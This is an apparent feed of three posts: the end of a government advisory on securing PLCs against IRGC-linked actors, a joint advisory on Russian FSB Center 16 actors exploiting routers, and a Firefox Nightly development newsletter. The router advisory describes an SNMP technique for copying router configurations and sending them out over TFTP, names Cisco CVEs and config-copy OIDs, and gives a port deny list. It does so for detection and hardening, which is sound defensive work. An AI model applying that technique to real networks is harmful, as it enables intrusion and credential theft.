For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s²System Security Design Guidelines for manufacturer’s instructions.)

(New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.

For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

(New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.

If restoring from backups, verify the backup does not contain malicious logic before deployment.
Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.

(New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
(New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.

A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.

Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
Monitor the content of network traffic for the following:

Unusual logins to internet-connected devices or unexpected protocols to/from the internet. 
Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.

(New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets. 

Device Manufacturers
Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. 
Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
Do not charge additional fees for basic security features needed to operate the product securely.
Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.
Validate Security Controls
In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:

Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.
Resources

Authoring Agencies: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities
CISA: Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers
EPA: Cybersecurity for the Water Sector
CISA: Water and Wastewater Cybersecurity
CISA: Exploitation of Unitronics PLCs used in Water and Wastewater Systems
CISA: Iran Threat Overview and Advisories
FBI: The Iran Threat and Cyber Threat Overview: Iran
CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
CISA: Decider Tool
CISA: Cross-Sector Cybersecurity Performance Goals 2.0
CISA: No-Cost Cybersecurity Services and Tools
CISA: Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products
NSA, CISA: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations
CISA: Secure by Design
FBI, CISA: Primary Mitigations to Reduce Cyber Threats to Operational Technology
United Kingdom National Cyber Security Centre: Secure connectivity principles for operational technology

Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident: 

Date, time, and location of the incident;
Type of activity;
Number of people affected;
Type of equipment used for the activity; and
Name of the submitting company or organization, and a designated point of contact.

For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at productcert@siemens.com. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at services.automation@siemens.com. See Siemens ProductCERT and Siemens CERT for more information.

Disclaimer
The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.
Version History
April 7, 2026: Initial version.
July 22, 2026: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.
Notes
¹Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.
²See CompactLogix 5370 Controllers (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.

Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting
Sat, 25 Jul 2026 08:51:21 +0200
Russian Government-Sponsored Activity Targets Poorly Configured and Vulnerable Devices Across Critical Sectors
Executive summary
Russian Federal Security Service (FSB) Center 16 cyber actors continue to exploit poorly configured and vulnerable networking devices worldwide, opportunistically compromising multiple critical infrastructure sector networks. This joint Cybersecurity Advisory (CSA) builds on FBI’s Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure Public Service Announcement of the decade-plus FSB Center 16 cyber activity by providing additional tactics, techniques, and procedures (TTPs) to enable defenders to more fully understand and counter the threat. [1] 
This CSA is being released by the following authoring and co-sealing agencies: 

United States National Security Agency (NSA)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Federal Bureau of Investigation (FBI)
United States Department of Defense Cyber Crime Center (DC3)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹ 
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³ 
Estonian Information System Authority (RIA)⁴
Finnish Defence Intelligence (FDI)⁵
Finnish Security and Intelligence Service (SUPO)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
The Military Counterintelligence Service of Poland (SKW)¹⁰
Sweden National Cyber Security Centre (NCSC-SE)¹¹

The authoring and co-sealing agencies strongly urge device owners and network defenders to take mitigation and remediation actions against Russian government-sponsored exploitation of vulnerable routers.

      Figure 1: FSB Center 16 activity and recommended mitigation actions

Download the PDF version of this report:

Improve Router Hygiene to Protect Against Russian State-Sponsored Targeting (PDF, 816KB)

Cybersecurity industry tracking 
The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to this activity. Although not all encompassing, the following list contains the most notable threat group names commonly used within the cybersecurity community related to this activity: 

Berserk Bear 
Energetic Bear
Crouching Yeti 
Dragonfly
Ghost Blizzard
Static Tundra

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this list may not provide a 1:1 correlation to the authoring agencies’ understanding for all activity related to these groupings.
Targeting details
Critical infrastructure sectors most at risk from the Russian Federal Security Service (FSB) Center 16 cyber actors’ targeting include:

Communications,
Defense Industrial Base,
Energy,
Financial Services,
Government Services and Facilities, especially organizations at the state and local level, and
Healthcare and Public Health.

Technical details
Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise¹² framework, version 19. See Appendix A for tables of the activity mapped to MITRE ATT&CK tactics and techniques. This advisory also uses MITRE DEFEND^TM version 1.4.0.
The Russian FSB Center 16 cyber actors primarily use scanning to identify poorly configured networking devices, primarily routers, for exploitation. The actors scan for Internet IP ranges with active Simple Network Management Protocol (SNMP) agents that accept common or default community strings for authentication [T1595.001, T1595.002]. These scans, run via proxies, consist of SNMP Set-Requests from a spoofed IP address [T1027] containing Object Identifiers (OIDs) that instruct the SNMP agent on poorly configured networking devices to [T1569, T1602.001, T1090]:

Copy its configuration to a file, often called “config.bkp” or “output.txt” [T1003, T1602.002].
Transfer the file, typically using Trivial File Transfer Protocol (TFTP), to an actor-controlled leased virtual private server (VPS) or compromised FTP server [T1583.003, T1090, T1071, T1048].

While SNMP scanning is the primary method the actors use to discover and exploit poorly configured networking devices, they occasionally exploit common vulnerabilities and exposures (CVEs) in Cisco devices, Cisco’s Smart Install (SMI) functionality, and web portals to manage network devices. The actors previously exploited at least the following CVEs [T1584.008, T1588.005, T1190, T1068]: 

CVE-2018-0171
CVE-2008-4128¹³

Many of these TTPs overlap with activity by other malicious cyber actors, such as Salt Typhoon. Even though this CSA focuses on Russian FSB Center 16 cyber activity, the mitigations below should detect and counter these and similar TTPs used by other actors.
Mitigation actions
The authoring agencies highly recommend network defenders implement the following mitigations to harden networks against this exploitation:

Disable Cisco Smart Install on all devices [D3-ACH]. [2]
Use SNMPv3 with “authPriv” configured to the most modern encryption standard that is supported by the device instead of SNMPv1 or SNMPv2 [D3-ACH]. [3]

Disable SNMPv1 and SNMPv2. These are legacy protocols and should no longer be needed on current devices. If they are necessary, change all community strings from defaults and only allow read-only community strings rather than read-write access.
SNMPv3 adds strong authentication and data encryption that are unavailable in SNMPv1 and v2. SNMPv3 replaces clear text shared passwords, known as community strings, with more securely encoded parameters, and authenticates and encrypts data [D3-MAN, D3-MENCR].

Use strong, unique passwords for local accounts on network devices and configure credentials to be stored securely to prevent reuse of compromised passwords [D3-CH].

Cisco devices protect passwords in the configuration file using different hashing types. Use hashing type 8 for user credentials. Avoid using hashing type 0, 4, and 7 as they are insecure or store passwords in plaintext in the configuration file. [4]
Monitor for unusual credentials that do not conform to standard organizational naming conventions [D3-PM]. 
 Monitor for and alert on logins using local accounts. Local accounts should only be used in emergency situations when accounts supported by centralized authentication servers are unavailable. Centralized authentication to network devices should support multi-factor authentication where feasible. [3]

Monitor and restrict access to SNMP OIDs using a Management Information Base (MIB) allow list [D3-ACH]. [5] Reference the vendor-specific MIB for the network devices and monitor OIDs for indications of reconnaissance or misconfiguration in logs or intrusion detection systems (IDS). IDS rules should be written for inbound SNMP Set-Requests that contain OIDs targeting sensitive device data [D3-PM].

Example OIDs include:

1.3.6.1.4.1.9.9.96.1.1 (Cisco Config Copy)
1.3.6.1.4.1.9.9.96.1.1.1.1.5 (Config Copy Server Address, value for this OID is where the configuration file is being sent to) 

Restrict management protocols [D3-NTF].

Use Access Control Lists (ACLs) to only allow management protocols, such as SNMP, from management devices, preferably on an out-of-band network. [3]
On edge firewalls and devices deny all external communications on the following ports unless mission critical, with strict monitoring if blocking is not feasible:

User Datagram Protocol (UDP) port 69 (TFTP) 
Transmission Control Protocol (TCP) port 4786 (SMI)
UDP ports 161 and 162 (SNMP)
TCP/UDP ports 10161 and 10162 (SNMPv3)

Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. 

Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [D3-NVA].

U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost Cyber Hygiene services.
U.S. Defense Industrial Base organizations should consider signing up for NSA’s DIB Cybersecurity Services.

Resources
United States:

Russia Threat Overview and Advisories
Network Infrastructure Security Guide

Canada:

Routers cyber security best practices (ITSAP.80.019)
Security considerations for edge devices (ITSM.80.101)
Guidance on securely configuring network protocols (ITSP.40.062)
Baseline security requirements for network security zones (ITSP.80.022)
Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)

Works cited
[1] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. https://www.ic3.gov/PSA/2025/PSA250820
[2] NSA. Cisco Smart Install Protocol Misuse. 2017. https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF
[3] NSA. Network Infrastructure Security Guide. 2023. https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF
[4] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF
[5] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF
Footnotes
¹Národní úřad pro kybernetickou a informační bezpečnost
² Forsvarets Efterretningstjeneste
³ Välisluureamet
⁴ Riigi Infosüsteem Amet
⁵ Sotilastiedustelu
⁶ Suojelupoliisi
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Służba Kontrwywiadu Wojskowego
¹¹ Nationellt Cybersäkerhetscenter
¹²MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.
¹³ CVE-2008-4128 only affects end-of-life Cisco devices.
Disclaimer of Endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact
United States organizations

National Security Agency (NSA)

Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov

Cybersecurity and Infrastructure Security Agency (CISA) and Federal Bureau of Investigation (FBI)

 U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s Incident Reporting System, its 24/7 Operations Center (report@cisa.gov or 888-282-0870), or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. 

United States Department of Defense Cyber Crime Center (DC3)  

Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil.
 Media Inquiries / Press Desk: DC3.Information@us.af.mil

Australian organizations

Australian Signals Directorate

Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.

Canadian organizations

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 

Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788).

New Zealand organizations

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz

United Kingdom organizations

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7)

Estonia organizations

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee

Finnish organizations

Finnish Security and Intelligence Service: supo.fi/en/contact

French organizations

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18.

Italian Organizations

Italian External Intelligence and Security Agency (AISE): 

Visit https://www.sicurezzanazionale.gov.it/ 

Italian Internal Intelligence and Security Agency (AISI): 

Visit https://www.sicurezzanazionale.gov.it/ 

Appendix A: MITRE ATT&CK tactics and techniques
See Table 1 through Table 10 for all the threat actor tactics and techniques referenced in this advisory.

Table 1: Reconnaissance

Technique Title

ID

Use

Active Scanning: Scanning IP Blocks
T1595.001
Scan range of IP addresses

Active Scanning: Vulnerability Scanning
T1595.002
Scan victims for vulnerabilities that can be used during targeting

Table 2: Resource Development

Technique Title

ID

Use

Acquire Infrastructure: Virtual Private Servers 
T1583.003 
Leverage VPS as infrastructure 

Compromise Infrastructure: Network Devices 
T1584.008 
Compromise intermediate routers 

Obtain Capabilities: Exploits 
T1588.005 
Use publicly available code to exploit vulnerable devices 

Table 3: Initial Access

Technique Title

ID

Use

Exploit Public-Facing Application 
T1190 
Exploit publicly known CVEs 

Proxy
T1090
Use a connection proxy to direct network traffic 

Table 4: Execution

Technique Title

ID

Use

System Services
T1569
Executing commands via SNMP

Table 5: Privilege Escalation

Technique Title

ID

Use

Exploitation for Privilege Escalation
T1068
Exploit publicly known CVEs for escalated privileges

Table 6: Stealth

Technique Title

ID

Use

Obfuscated Files or Information
T1027
Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses

Table 7: Credential Access

Technique Title

ID

Use

OS Credential Dumping
T1003
Collect router configuration with weak Cisco Type 7 passwords and Type 0

Table 8: Collection

Technique Title

ID

Use

Data from Configuration Repository: SNMP (MIB Dump) 
T1602.001 
Target MIB to collect network information via SNMP 

Data from Configuration Repository: Network Device Configuration Dump
T1602.002
Acquire credentials by collecting network device configurations

Table 9: Command and Control

Technique Title

ID

Use

Proxy 
T1090 
Use VPS for C2 

Application Layer Protocol 
T1071 
Open and expose a variety of different services, including TFTP and FTP

Table 10: Exfiltration

Technique Title

ID

Use

Exfiltration Over Alternative Protocol
T1048
Exfiltrating over a different protocol than that of the existing command and control channel. 

Appendix B: MITRE D3FEND countermeasures
See Table 11 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 11: MITRE D3FEND Countermeasures

Countermeasure Title

ID

Description

Application Configuration Hardening
D3-ACH

Use SNMPv3 and disable SNMPv1 and SNMPv2. 
Use SNMP allowlisting to restrict access to OIDs and MIBs. 
Disable Cisco Smart Install.

Message Authentication
D3-MAN

Use SNMPv3 with strong authentication.

Message Encryption
D3-MENCR

Use SNMPv3 to encrypt payloads.

Credential Hardening
D3-CH

Use strong, unique passwords and store them securely.

Platform Monitoring
D3-PM

Monitor for unusual credentials. 
Monitor SNMP Set-Requests for OIDs targeting sensitive device data.

Network Traffic Filtering
D3-NTF

Use ACLs to only allow management protocols from management devices. 
Block TFTP, SMI, and SNMP at edge firewalls.

Network Vulnerability Assessment
D3-NVA

Use an attack surface management service.

Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202
Sat, 25 Jul 2026 08:37:35 +0200
Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
You will be able to manage this feature in Settings under Sync (for now)

You can read more about the feature here

As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
Adaptive autofill has been enabled on Nightly.

Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.

If you run into issues or have feedback, you can file a bug here!

Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android

dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom

Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Amin Amir
aoia7rz7l
Chukwuka Rosemary
DrSeed
Frédéric Wang Nélar
japandi
John Iweh
jonathancabera
Josh Aas
Keji Bakare
kofoworola shonuyi
konyhéa
liz
Mathew Hodson
Okhuomon Ajayi
Oluwatobi
ROSHAAN
Sam Johnson

New contributors (🌟 = first patch)

 Anthony Mclamb: Disable the legacy Edge migrator
 Amin Amir

🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
🌟 Amine Zroual: Omitted maxResults property not handled correctly in getRecentlyClosed

any1here: install_sig_alt_stack incorrectly checks mmap’s return value
🌟 Armin Ulrich: Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument
japandi

Cannot remove amazon.com from top sites list
The height of the pinned tabs area should be responsive to the number of pins
Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations

Nathan Johnson [:narjoDev]: Remove browser.display.use_system_colors pref
DrSeed

Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting
The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again

Keji Bakare:

Split view’s focus-outline is clipped on the right side of left tab
White space on the right side of left panel in split view

🌟 gotyaoi: Reload toolbar button is active on about:newtab
Itoro James: [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it
John Iweh: The notification dot is not displayed if the tab is in a Split View
🌟 John Iweh: sidebar-shown attribute remains when sidebar.revamp is false
🌟 jonathancabera:

The Move tab to Split View option is also displayed for the tabs that are within the Split View
A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled
Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode

Aloys: Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67
liz:

Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View
Button accessible name does not convey its function: missing topic context (Settings dialog > Topics dialog > buttons Following/Unfollow/Blocked/Unblock)

Mary cathline: Tab Group Label does not respect touch density in vertical tab bar
🌟 Brandon Lucier: Popups opened with window.open give window type normal instead of popup
karan68: [dialog] New Shortcut dialog needs a label/accessible name
🌟 Vector: Button does not programmatically indicate that it opens a dialog (Recent activity section > story card > ••• disclosure > Delete from History button)
🌟 Osoble: Update font size and weight for synced tabs device name headers in Firefox View
konyhéa:

Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js
Check all second paramaters for TestUtils.waitForCondition in Fx View test files
Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.

Noble Chinonso: #shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled
Pranjali Srivastava: Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)
Okhuomon Ajayi:

More spacing is needed between the tab note icon and the close icon on the tab
The tabs in vertical mode collapsed state are positioned differently in Split View
Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled
Vertical split view tabs can be too big or small when tabs are overflowing

🌟 Rishan: Fix duplicated arrow function in browser_history_sidebar.js
Chukwuka Rosemary:

“Forget About This Site” context menu option missing from Firefox View history
Long strings are not displayed properly on the about:opentabs page search filed
Add test for Forget This Site option in Fxview history context menu.

ROSHAAN:

🌟Tab note background colour is incorrect for default light theme
 [win/linux] The splitter between content areas does not match Figma spec
Fix typo in OpenInTabsUtils.confirmOpenInTabs()

Sameeksha: Disclosure button expanded/collapsed state not programmatically defined (Customize button)
kofoworola shonuyi:

🌟Actually hide or remove sidebar-shown attribute when in fullscreen.
Add a test for checking sidebar-shown attribute in fullscreen mode

🌟 Sayd Mateen: Page URL is displayed as tab name when page’s contains about:reader?

Oluwatobi:

Unable to delete selected history entries from sidebar
Incorrect Sidebar button state/tooltip hover text
The city name heading level doesn’t follow the correct heading level order

Nishchay [:nish]: Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)

Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014

NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes

WebExtensions Framework

Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173

Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!

Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329

Thanks to Simon Farre for promptly investigating and fixing this recent regression!

WebExtension APIs

Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125

Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!

DevTools

Artem Manushenkov fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (#1983408)
Andrea Marchesini [:baku] fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (#2031299)
Julian Descottes [:jdescottes] fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (#2028930)
Nicolas Chevobbe [:nchevobbe] improved @container tooltip so it show the value of variables used in style()(#2030239), has enough contrast in dark mode (#2033782) and contains a link to select the container (#2031688)

Hubert Boma Manilla (:bomsy) is making good progress on migrating the Console to CodeMirror 6 (#2032758, #2026569)

Fluent

We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!

Migration Improvements

Thanks to dao for fixing a recent alignment issue in the migration wizard dropdown
Thanks to volunteer contributor Anthony Mclamb for his patch that disables the legacy EdgeHTML Edge migrator! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.

New Tab Page

Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th

It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.

Maxx Crawford enabled Nova designs for New Tab, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.
Maxx Crawford fixed the Nova content feed to render the intended four‑column layout by correcting CSS grid breakpoints.
Maxx Crawford resolved a first‑load failure in the Weather widget by fixing init order and fetch timing, eliminating the “Oops” error.
Maxx Crawford synchronized the Weather toggle between about:preferences#home and the panel via the shared showWeather pref to prevent desync.
Maxx Crawford updated Nova grid focus order to align tab flow with visual order for keyboard users.
Maxx Crawford fixed critical UI issues in Lists and Timer widgets covering overflow, controls, and layout stability.
